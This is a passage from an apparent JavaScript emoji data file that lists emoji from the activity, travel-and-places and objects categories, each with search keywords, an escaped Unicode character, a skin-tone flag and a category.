    category: "activity"
  },
  "1st_place_medal": {
    keywords: [ "award", "winning", "first" ],
    char: "\ud83e\udd47",
    fitzpatrick_scale: false,
    category: "activity"
  },
  "2nd_place_medal": {
    keywords: [ "award", "second" ],
    char: "\ud83e\udd48",
    fitzpatrick_scale: false,
    category: "activity"
  },
  "3rd_place_medal": {
    keywords: [ "award", "third" ],
    char: "\ud83e\udd49",
    fitzpatrick_scale: false,
    category: "activity"
  },
  reminder_ribbon: {
    keywords: [ "sports", "cause", "support", "awareness" ],
    char: "\ud83c\udf97",
    fitzpatrick_scale: false,
    category: "activity"
  },
  rosette: {
    keywords: [ "flower", "decoration", "military" ],
    char: "\ud83c\udff5",
    fitzpatrick_scale: false,
    category: "activity"
  },
  ticket: {
    keywords: [ "event", "concert", "pass" ],
    char: "\ud83c\udfab",
    fitzpatrick_scale: false,
    category: "activity"
  },
  tickets: {
    keywords: [ "sports", "concert", "entrance" ],
    char: "\ud83c\udf9f",
    fitzpatrick_scale: false,
    category: "activity"
  },
  performing_arts: {
    keywords: [ "acting", "theater", "drama" ],
    char: "\ud83c\udfad",
    fitzpatrick_scale: false,
    category: "activity"
  },
  art: {
    keywords: [ "design", "paint", "draw", "colors" ],
    char: "\ud83c\udfa8",
    fitzpatrick_scale: false,
    category: "activity"
  },
  circus_tent: {
    keywords: [ "festival", "carnival", "party" ],
    char: "\ud83c\udfaa",
    fitzpatrick_scale: false,
    category: "activity"
  },
  woman_juggling: {
    keywords: [ "juggle", "balance", "skill", "multitask" ],
    char: "\ud83e\udd39\u200d\u2640\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  man_juggling: {
    keywords: [ "juggle", "balance", "skill", "multitask" ],
    char: "\ud83e\udd39\u200d\u2642\ufe0f",
    fitzpatrick_scale: true,
    category: "activity"
  },
  microphone: {
    keywords: [ "sound", "music", "PA", "sing", "talkshow" ],
    char: "\ud83c\udfa4",
    fitzpatrick_scale: false,
    category: "activity"
  },
  headphones: {
    keywords: [ "music", "score", "gadgets" ],
    char: "\ud83c\udfa7",
    fitzpatrick_scale: false,
    category: "activity"
  },
  musical_score: {
    keywords: [ "treble", "clef", "compose" ],
    char: "\ud83c\udfbc",
    fitzpatrick_scale: false,
    category: "activity"
  },
  musical_keyboard: {
    keywords: [ "piano", "instrument", "compose" ],
    char: "\ud83c\udfb9",
    fitzpatrick_scale: false,
    category: "activity"
  },
  drum: {
    keywords: [ "music", "instrument", "drumsticks", "snare" ],
    char: "\ud83e\udd41",
    fitzpatrick_scale: false,
    category: "activity"
  },
  saxophone: {
    keywords: [ "music", "instrument", "jazz", "blues" ],
    char: "\ud83c\udfb7",
    fitzpatrick_scale: false,
    category: "activity"
  },
  trumpet: {
    keywords: [ "music", "brass" ],
    char: "\ud83c\udfba",
    fitzpatrick_scale: false,
    category: "activity"
  },
  guitar: {
    keywords: [ "music", "instrument" ],
    char: "\ud83c\udfb8",
    fitzpatrick_scale: false,
    category: "activity"
  },
  violin: {
    keywords: [ "music", "instrument", "orchestra", "symphony" ],
    char: "\ud83c\udfbb",
    fitzpatrick_scale: false,
    category: "activity"
  },
  clapper: {
    keywords: [ "movie", "film", "record" ],
    char: "\ud83c\udfac",
    fitzpatrick_scale: false,
    category: "activity"
  },
  video_game: {
    keywords: [ "play", "console", "PS4", "controller" ],
    char: "\ud83c\udfae",
    fitzpatrick_scale: false,
    category: "activity"
  },
  space_invader: {
    keywords: [ "game", "arcade", "play" ],
    char: "\ud83d\udc7e",
    fitzpatrick_scale: false,
    category: "activity"
  },
  dart: {
    keywords: [ "game", "play", "bar", "target", "bullseye" ],
    char: "\ud83c\udfaf",
    fitzpatrick_scale: false,
    category: "activity"
  },
  game_die: {
    keywords: [ "dice", "random", "tabletop", "play", "luck" ],
    char: "\ud83c\udfb2",
    fitzpatrick_scale: false,
    category: "activity"
  },
  chess_pawn: {
    keywords: [ "expendable" ],
    char: "\u265f",
    fitzpatrick_scale: false,
    category: "activity"
  },
  slot_machine: {
    keywords: [ "bet", "gamble", "vegas", "fruit machine", "luck", "casino" ],
    char: "\ud83c\udfb0",
    fitzpatrick_scale: false,
    category: "activity"
  },
  jigsaw: {
    keywords: [ "interlocking", "puzzle", "piece" ],
    char: "\ud83e\udde9",
    fitzpatrick_scale: false,
    category: "activity"
  },
  bowling: {
    keywords: [ "sports", "fun", "play" ],
    char: "\ud83c\udfb3",
    fitzpatrick_scale: false,
    category: "activity"
  },
  red_car: {
    keywords: [ "red", "transportation", "vehicle" ],
    char: "\ud83d\ude97",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  taxi: {
    keywords: [ "uber", "vehicle", "cars", "transportation" ],
    char: "\ud83d\ude95",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  blue_car: {
    keywords: [ "transportation", "vehicle" ],
    char: "\ud83d\ude99",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  bus: {
    keywords: [ "car", "vehicle", "transportation" ],
    char: "\ud83d\ude8c",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  trolleybus: {
    keywords: [ "bart", "transportation", "vehicle" ],
    char: "\ud83d\ude8e",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  racing_car: {
    keywords: [ "sports", "race", "fast", "formula", "f1" ],
    char: "\ud83c\udfce",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  police_car: {
    keywords: [ "vehicle", "cars", "transportation", "law", "legal", "enforcement" ],
    char: "\ud83d\ude93",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  ambulance: {
    keywords: [ "health", "911", "hospital" ],
    char: "\ud83d\ude91",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  fire_engine: {
    keywords: [ "transportation", "cars", "vehicle" ],
    char: "\ud83d\ude92",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  minibus: {
    keywords: [ "vehicle", "car", "transportation" ],
    char: "\ud83d\ude90",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  truck: {
    keywords: [ "cars", "transportation" ],
    char: "\ud83d\ude9a",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  articulated_lorry: {
    keywords: [ "vehicle", "cars", "transportation", "express" ],
    char: "\ud83d\ude9b",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  tractor: {
    keywords: [ "vehicle", "car", "farming", "agriculture" ],
    char: "\ud83d\ude9c",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  kick_scooter: {
    keywords: [ "vehicle", "kick", "razor" ],
    char: "\ud83d\udef4",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  motorcycle: {
    keywords: [ "race", "sports", "fast" ],
    char: "\ud83c\udfcd",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  bike: {
    keywords: [ "sports", "bicycle", "exercise", "hipster" ],
    char: "\ud83d\udeb2",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  motor_scooter: {
    keywords: [ "vehicle", "vespa", "sasha" ],
    char: "\ud83d\udef5",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  rotating_light: {
    keywords: [ "police", "ambulance", "911", "emergency", "alert", "error", "pinged", "law", "legal" ],
    char: "\ud83d\udea8",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  oncoming_police_car: {
    keywords: [ "vehicle", "law", "legal", "enforcement", "911" ],
    char: "\ud83d\ude94",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  oncoming_bus: {
    keywords: [ "vehicle", "transportation" ],
    char: "\ud83d\ude8d",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  oncoming_automobile: {
    keywords: [ "car", "vehicle", "transportation" ],
    char: "\ud83d\ude98",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  oncoming_taxi: {
    keywords: [ "vehicle", "cars", "uber" ],
    char: "\ud83d\ude96",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  aerial_tramway: {
    keywords: [ "transportation", "vehicle", "ski" ],
    char: "\ud83d\udea1",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  mountain_cableway: {
    keywords: [ "transportation", "vehicle", "ski" ],
    char: "\ud83d\udea0",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  suspension_railway: {
    keywords: [ "vehicle", "transportation" ],
    char: "\ud83d\ude9f",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  railway_car: {
    keywords: [ "transportation", "vehicle" ],
    char: "\ud83d\ude83",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  train: {
    keywords: [ "transportation", "vehicle", "carriage", "public", "travel" ],
    char: "\ud83d\ude8b",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  monorail: {
    keywords: [ "transportation", "vehicle" ],
    char: "\ud83d\ude9d",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  bullettrain_side: {
    keywords: [ "transportation", "vehicle" ],
    char: "\ud83d\ude84",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  bullettrain_front: {
    keywords: [ "transportation", "vehicle", "speed", "fast", "public", "travel" ],
    char: "\ud83d\ude85",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  light_rail: {
    keywords: [ "transportation", "vehicle" ],
    char: "\ud83d\ude88",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  mountain_railway: {
    keywords: [ "transportation", "vehicle" ],
    char: "\ud83d\ude9e",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  steam_locomotive: {
    keywords: [ "transportation", "vehicle", "train" ],
    char: "\ud83d\ude82",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  train2: {
    keywords: [ "transportation", "vehicle" ],
    char: "\ud83d\ude86",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  metro: {
    keywords: [ "transportation", "blue-square", "mrt", "underground", "tube" ],
    char: "\ud83d\ude87",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  tram: {
    keywords: [ "transportation", "vehicle" ],
    char: "\ud83d\ude8a",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  station: {
    keywords: [ "transportation", "vehicle", "public" ],
    char: "\ud83d\ude89",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  flying_saucer: {
    keywords: [ "transportation", "vehicle", "ufo" ],
    char: "\ud83d\udef8",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  helicopter: {
    keywords: [ "transportation", "vehicle", "fly" ],
    char: "\ud83d\ude81",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  small_airplane: {
    keywords: [ "flight", "transportation", "fly", "vehicle" ],
    char: "\ud83d\udee9",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  airplane: {
    keywords: [ "vehicle", "transportation", "flight", "fly" ],
    char: "\u2708\ufe0f",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  flight_departure: {
    keywords: [ "airport", "flight", "landing" ],
    char: "\ud83d\udeeb",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  flight_arrival: {
    keywords: [ "airport", "flight", "boarding" ],
    char: "\ud83d\udeec",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  sailboat: {
    keywords: [ "ship", "summer", "transportation", "water", "sailing" ],
    char: "\u26f5",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  motor_boat: {
    keywords: [ "ship" ],
    char: "\ud83d\udee5",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  speedboat: {
    keywords: [ "ship", "transportation", "vehicle", "summer" ],
    char: "\ud83d\udea4",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  ferry: {
    keywords: [ "boat", "ship", "yacht" ],
    char: "\u26f4",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  passenger_ship: {
    keywords: [ "yacht", "cruise", "ferry" ],
    char: "\ud83d\udef3",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  rocket: {
    keywords: [ "launch", "ship", "staffmode", "NASA", "outer space", "outer_space", "fly" ],
    char: "\ud83d\ude80",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  artificial_satellite: {
    keywords: [ "communication", "gps", "orbit", "spaceflight", "NASA", "ISS" ],
    char: "\ud83d\udef0",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  seat: {
    keywords: [ "sit", "airplane", "transport", "bus", "flight", "fly" ],
    char: "\ud83d\udcba",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  canoe: {
    keywords: [ "boat", "paddle", "water", "ship" ],
    char: "\ud83d\udef6",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  anchor: {
    keywords: [ "ship", "ferry", "sea", "boat" ],
    char: "\u2693",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  construction: {
    keywords: [ "wip", "progress", "caution", "warning" ],
    char: "\ud83d\udea7",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  fuelpump: {
    keywords: [ "gas station", "petroleum" ],
    char: "\u26fd",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  busstop: {
    keywords: [ "transportation", "wait" ],
    char: "\ud83d\ude8f",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  vertical_traffic_light: {
    keywords: [ "transportation", "driving" ],
    char: "\ud83d\udea6",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  traffic_light: {
    keywords: [ "transportation", "signal" ],
    char: "\ud83d\udea5",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  checkered_flag: {
    keywords: [ "contest", "finishline", "race", "gokart" ],
    char: "\ud83c\udfc1",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  ship: {
    keywords: [ "transportation", "titanic", "deploy" ],
    char: "\ud83d\udea2",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  ferris_wheel: {
    keywords: [ "photo", "carnival", "londoneye" ],
    char: "\ud83c\udfa1",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  roller_coaster: {
    keywords: [ "carnival", "playground", "photo", "fun" ],
    char: "\ud83c\udfa2",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  carousel_horse: {
    keywords: [ "photo", "carnival" ],
    char: "\ud83c\udfa0",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  building_construction: {
    keywords: [ "wip", "working", "progress" ],
    char: "\ud83c\udfd7",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  foggy: {
    keywords: [ "photo", "mountain" ],
    char: "\ud83c\udf01",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  tokyo_tower: {
    keywords: [ "photo", "japanese" ],
    char: "\ud83d\uddfc",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  factory: {
    keywords: [ "building", "industry", "pollution", "smoke" ],
    char: "\ud83c\udfed",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  fountain: {
    keywords: [ "photo", "summer", "water", "fresh" ],
    char: "\u26f2",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  rice_scene: {
    keywords: [ "photo", "japan", "asia", "tsukimi" ],
    char: "\ud83c\udf91",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  mountain: {
    keywords: [ "photo", "nature", "environment" ],
    char: "\u26f0",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  mountain_snow: {
    keywords: [ "photo", "nature", "environment", "winter", "cold" ],
    char: "\ud83c\udfd4",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  mount_fuji: {
    keywords: [ "photo", "mountain", "nature", "japanese" ],
    char: "\ud83d\uddfb",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  volcano: {
    keywords: [ "photo", "nature", "disaster" ],
    char: "\ud83c\udf0b",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  japan: {
    keywords: [ "nation", "country", "japanese", "asia" ],
    char: "\ud83d\uddfe",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  camping: {
    keywords: [ "photo", "outdoors", "tent" ],
    char: "\ud83c\udfd5",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  tent: {
    keywords: [ "photo", "camping", "outdoors" ],
    char: "\u26fa",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  national_park: {
    keywords: [ "photo", "environment", "nature" ],
    char: "\ud83c\udfde",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  motorway: {
    keywords: [ "road", "cupertino", "interstate", "highway" ],
    char: "\ud83d\udee3",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  railway_track: {
    keywords: [ "train", "transportation" ],
    char: "\ud83d\udee4",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  sunrise: {
    keywords: [ "morning", "view", "vacation", "photo" ],
    char: "\ud83c\udf05",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  sunrise_over_mountains: {
    keywords: [ "view", "vacation", "photo" ],
    char: "\ud83c\udf04",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  desert: {
    keywords: [ "photo", "warm", "saharah" ],
    char: "\ud83c\udfdc",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  beach_umbrella: {
    keywords: [ "weather", "summer", "sunny", "sand", "mojito" ],
    char: "\ud83c\udfd6",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  desert_island: {
    keywords: [ "photo", "tropical", "mojito" ],
    char: "\ud83c\udfdd",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  city_sunrise: {
    keywords: [ "photo", "good morning", "dawn" ],
    char: "\ud83c\udf07",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  city_sunset: {
    keywords: [ "photo", "evening", "sky", "buildings" ],
    char: "\ud83c\udf06",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  cityscape: {
    keywords: [ "photo", "night life", "urban" ],
    char: "\ud83c\udfd9",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  night_with_stars: {
    keywords: [ "evening", "city", "downtown" ],
    char: "\ud83c\udf03",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  bridge_at_night: {
    keywords: [ "photo", "sanfrancisco" ],
    char: "\ud83c\udf09",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  milky_way: {
    keywords: [ "photo", "space", "stars" ],
    char: "\ud83c\udf0c",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  stars: {
    keywords: [ "night", "photo" ],
    char: "\ud83c\udf20",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  sparkler: {
    keywords: [ "stars", "night", "shine" ],
    char: "\ud83c\udf87",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  fireworks: {
    keywords: [ "photo", "festival", "carnival", "congratulations" ],
    char: "\ud83c\udf86",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  rainbow: {
    keywords: [ "nature", "happy", "unicorn_face", "photo", "sky", "spring" ],
    char: "\ud83c\udf08",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  houses: {
    keywords: [ "buildings", "photo" ],
    char: "\ud83c\udfd8",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  european_castle: {
    keywords: [ "building", "royalty", "history" ],
    char: "\ud83c\udff0",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  japanese_castle: {
    keywords: [ "photo", "building" ],
    char: "\ud83c\udfef",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  stadium: {
    keywords: [ "photo", "place", "sports", "concert", "venue" ],
    char: "\ud83c\udfdf",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  statue_of_liberty: {
    keywords: [ "american", "newyork" ],
    char: "\ud83d\uddfd",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  house: {
    keywords: [ "building", "home" ],
    char: "\ud83c\udfe0",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  house_with_garden: {
    keywords: [ "home", "plant", "nature" ],
    char: "\ud83c\udfe1",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  derelict_house: {
    keywords: [ "abandon", "evict", "broken", "building" ],
    char: "\ud83c\udfda",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  office: {
    keywords: [ "building", "bureau", "work" ],
    char: "\ud83c\udfe2",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  department_store: {
    keywords: [ "building", "shopping", "mall" ],
    char: "\ud83c\udfec",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  post_office: {
    keywords: [ "building", "envelope", "communication" ],
    char: "\ud83c\udfe3",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  european_post_office: {
    keywords: [ "building", "email" ],
    char: "\ud83c\udfe4",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  hospital: {
    keywords: [ "building", "health", "surgery", "doctor" ],
    char: "\ud83c\udfe5",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  bank: {
    keywords: [ "building", "money", "sales", "cash", "business", "enterprise" ],
    char: "\ud83c\udfe6",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  hotel: {
    keywords: [ "building", "accomodation", "checkin" ],
    char: "\ud83c\udfe8",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  convenience_store: {
    keywords: [ "building", "shopping", "groceries" ],
    char: "\ud83c\udfea",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  school: {
    keywords: [ "building", "student", "education", "learn", "teach" ],
    char: "\ud83c\udfeb",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  love_hotel: {
    keywords: [ "like", "affection", "dating" ],
    char: "\ud83c\udfe9",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  wedding: {
    keywords: [ "love", "like", "affection", "couple", "marriage", "bride", "groom" ],
    char: "\ud83d\udc92",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  classical_building: {
    keywords: [ "art", "culture", "history" ],
    char: "\ud83c\udfdb",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  church: {
    keywords: [ "building", "religion", "christ" ],
    char: "\u26ea",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  mosque: {
    keywords: [ "islam", "worship", "minaret" ],
    char: "\ud83d\udd4c",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  synagogue: {
    keywords: [ "judaism", "worship", "temple", "jewish" ],
    char: "\ud83d\udd4d",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  kaaba: {
    keywords: [ "mecca", "mosque", "islam" ],
    char: "\ud83d\udd4b",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  shinto_shrine: {
    keywords: [ "temple", "japan", "kyoto" ],
    char: "\u26e9",
    fitzpatrick_scale: false,
    category: "travel_and_places"
  },
  watch: {
    keywords: [ "time", "accessories" ],
    char: "\u231a",
    fitzpatrick_scale: false,
    category: "objects"
  },
  iphone: {
    keywords: [ "technology", "apple", "gadgets", "dial" ],
    char: "\ud83d\udcf1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  calling: {
    keywords: [ "iphone", "incoming" ],
    char: "\ud83d\udcf2",
    fitzpatrick_scale: false,
    category: "objects"
  },
  computer: {
    keywords: [ "technology", "laptop", "screen", "display", "monitor" ],
    char: "\ud83d\udcbb",
    fitzpatrick_scale: false,
    category: "objects"
  },
  keyboard: {
    keywords: [ "technology", "computer", "type", "input", "text" ],
    char: "\u2328",
    fitzpatrick_scale: false,
    category: "objects"
  },
  desktop_computer: {
    keywords: [ "technology", "computing", "screen" ],
    char: "\ud83d\udda5",
    fitzpatrick_scale: false,
    category: "objects"
  },
  printer: {
    keywords: [ "paper", "ink" ],
    char: "\ud83d\udda8",
    fitzpatrick_scale: false,
    category: "objects"
  },
  computer_mouse: {
    keywords: [ "click" ],
    char: "\ud83d\uddb1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  trackball: {
    keywords: [ "technology", "trackpad" ],
    char: "\ud83d\uddb2",
    fitzpatrick_scale: false,
    category: "objects"
  },
  joystick: {
    keywords: [ "game", "play" ],
    char: "\ud83d\udd79",
    fitzpatrick_scale: false,
    category: "objects"
  },
  clamp: {
    keywords: [ "tool" ],
    char: "\ud83d\udddc",
    fitzpatrick_scale: false,
    category: "objects"
  },
  minidisc: {
    keywords: [ "technology", "record", "data", "disk", "90s" ],
    char: "\ud83d\udcbd",
    fitzpatrick_scale: false,
    category: "objects"
  },
  floppy_disk: {
    keywords: [ "oldschool", "technology", "save", "90s", "80s" ],
    char: "\ud83d\udcbe",
    fitzpatrick_scale: false,
    category: "objects"
  },
  cd: {
    keywords: [ "technology", "dvd", "disk", "disc", "90s" ],
    char: "\ud83d\udcbf",
    fitzpatrick_scale: false,
    category: "objects"
  },
  dvd: {
    keywords: [ "cd", "disk", "disc" ],
    char: "\ud83d\udcc0",
    fitzpatrick_scale: false,
    category: "objects"
  },
  vhs: {
    keywords: [ "record", "video", "oldschool", "90s", "80s" ],
    char: "\ud83d\udcfc",
    fitzpatrick_scale: false,
    category: "objects"
  },
  camera: {
    keywords: [ "gadgets", "photography" ],
    char: "\ud83d\udcf7",
    fitzpatrick_scale: false,
    category: "objects"
  },
  camera_flash: {
    keywords: [ "photography", "gadgets" ],
    char: "\ud83d\udcf8",
    fitzpatrick_scale: false,
    category: "objects"
  },
  video_camera: {
    keywords: [ "film", "record" ],
    char: "\ud83d\udcf9",
    fitzpatrick_scale: false,
    category: "objects"
  },
  movie_camera: {
    keywords: [ "film", "record" ],
    char: "\ud83c\udfa5",
    fitzpatrick_scale: false,
    category: "objects"
  },
  film_projector: {
    keywords: [ "video", "tape", "record", "movie" ],
    char: "\ud83d\udcfd",
    fitzpatrick_scale: false,
    category: "objects"
  },
  film_strip: {
    keywords: [ "movie" ],
    char: "\ud83c\udf9e",
    fitzpatrick_scale: false,
    category: "objects"
  },
  telephone_receiver: {
    keywords: [ "technology", "communication", "dial" ],
    char: "\ud83d\udcde",
    fitzpatrick_scale: false,
    category: "objects"
  },
  phone: {
    keywords: [ "technology", "communication", "dial", "telephone" ],
    char: "\u260e\ufe0f",
    fitzpatrick_scale: false,
    category: "objects"
  },
  pager: {
    keywords: [ "bbcall", "oldschool", "90s" ],
    char: "\ud83d\udcdf",
    fitzpatrick_scale: false,
    category: "objects"
  },
  fax: {
    keywords: [ "communication", "technology" ],
    char: "\ud83d\udce0",
    fitzpatrick_scale: false,
    category: "objects"
  },
  tv: {
    keywords: [ "technology", "program", "oldschool", "show", "television" ],
    char: "\ud83d\udcfa",
    fitzpatrick_scale: false,
    category: "objects"
  },
  radio: {
    keywords: [ "communication", "music", "podcast", "program" ],
    char: "\ud83d\udcfb",
    fitzpatrick_scale: false,
    category: "objects"
  },
  studio_microphone: {
    keywords: [ "sing", "recording", "artist", "talkshow" ],
    char: "\ud83c\udf99",
    fitzpatrick_scale: false,
    category: "objects"
  },
  level_slider: {
    keywords: [ "scale" ],
    char: "\ud83c\udf9a",
    fitzpatrick_scale: false,
    category: "objects"
  },
  control_knobs: {
    keywords: [ "dial" ],
    char: "\ud83c\udf9b",
    fitzpatrick_scale: false,
    category: "objects"
  },
  compass: {
    keywords: [ "magnetic", "navigation", "orienteering" ],
    char: "\ud83e\udded",
    fitzpatrick_scale: false,
    category: "objects"
  },
  stopwatch: {
    keywords: [ "time", "deadline" ],
    char: "\u23f1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  timer_clock: {
    keywords: [ "alarm" ],
    char: "\u23f2",
    fitzpatrick_scale: false,
    category: "objects"
  },
  alarm_clock: {
    keywords: [ "time", "wake" ],
    char: "\u23f0",
    fitzpatrick_scale: false,
    category: "objects"
  },
  mantelpiece_clock: {
    keywords: [ "time" ],
    char: "\ud83d\udd70",
    fitzpatrick_scale: false,
    category: "objects"
  },
  hourglass_flowing_sand: {
    keywords: [ "oldschool", "time", "countdown" ],
    char: "\u23f3",
    fitzpatrick_scale: false,
    category: "objects"
  },
  hourglass: {
    keywords: [ "time", "clock", "oldschool", "limit", "exam", "quiz", "test" ],
    char: "\u231b",
    fitzpatrick_scale: false,
    category: "objects"
  },
  satellite: {
    keywords: [ "communication", "future", "radio", "space" ],
    char: "\ud83d\udce1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  battery: {
    keywords: [ "power", "energy", "sustain" ],
    char: "\ud83d\udd0b",
    fitzpatrick_scale: false,
    category: "objects"
  },
  electric_plug: {
    keywords: [ "charger", "power" ],
    char: "\ud83d\udd0c",
    fitzpatrick_scale: false,
    category: "objects"
  },
  bulb: {
    keywords: [ "light", "electricity", "idea" ],
    char: "\ud83d\udca1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  flashlight: {
    keywords: [ "dark", "camping", "sight", "night" ],
    char: "\ud83d\udd26",
    fitzpatrick_scale: false,
    category: "objects"
  },
  candle: {
    keywords: [ "fire", "wax" ],
    char: "\ud83d\udd6f",
    fitzpatrick_scale: false,
    category: "objects"
  },
  fire_extinguisher: {
    keywords: [ "quench" ],
    char: "\ud83e\uddef",
    fitzpatrick_scale: false,
    category: "objects"
  },
  wastebasket: {
    keywords: [ "bin", "trash", "rubbish", "garbage", "toss" ],
    char: "\ud83d\uddd1",
    fitzpatrick_scale: false,
    category: "objects"
  },
  oil_drum: {
    keywords: [ "barrell" ],
    char: "\ud83d\udee2",
    fitzpatrick_scale: false,
    category: "objects"
  },
  money_with_wings: {
    keywords: [ "dollar", "bills", "payment", "sale" ],
    char: "\ud83d\udcb8",
    fitzpatrick_scale: false,
    category: "objects"
  },
  dollar: {
    keywords: [ "money", "sales", "bill", "currency" ],
